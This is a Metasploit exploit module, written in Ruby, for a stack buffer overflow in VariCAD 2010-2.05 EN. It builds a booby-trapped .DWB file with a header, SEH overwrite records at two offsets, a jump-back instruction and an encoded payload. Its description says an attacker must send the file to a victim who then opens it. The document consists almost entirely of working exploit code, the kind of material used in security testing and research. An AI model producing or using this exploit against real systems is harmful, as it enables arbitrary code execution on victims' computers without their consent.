VariCAD 2010-2.05 EN - '.DWB' Local Stack Buffer Overflow (Metasploit)

##
# $Id: varicad_dwb.rb 9020 2010-04-05 20:45:21Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in VariCAD 2010-2.05 EN.
				An attacker must send the file to victim and the victim must open the file.
			},
			'License'        => MSF_LICENSE,
			'Author' 	     =>
				[
					'n00b',    # first public exploit
					'dookie',  # metasploit first pass
					'MC',      # cleanup pass 1 & second offset
					'jduck'    # cleanup pass 2 & combined offsets
				],
			'Version'        => '$Revision: 9020 $',
			'References'     =>
				[
					[ 'OSVDB', '63067' ],
					[ 'BID', '38815' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/11789' ]
				],
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x0a\x3d",
					'StackAdjustment' => -3500,
				},
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x00401425 } ], #p/p/r in varicad-i386.exe
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 17 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.dwb']),
			], self.class)
	end

	def exploit

		header = "\x34\x87\x01\x00\x00\x00\x00\x00\x25\x5c\x1f\x85"
		sploit = rand_text_alpha_upper(1000) * 50

		# Add SEH frames..
		seh = generate_seh_record(target.ret)
		offsets = [ 26252, 22856 ]
		sploit[0,payload.encoded.length] = payload.encoded
		offsets.each { |off|
			sploit[off,seh.length] = seh
			distance = seh.length + off
			jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
			sploit[off+seh.length,jmp.length] = jmp
		}

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(header + sploit)

	end

end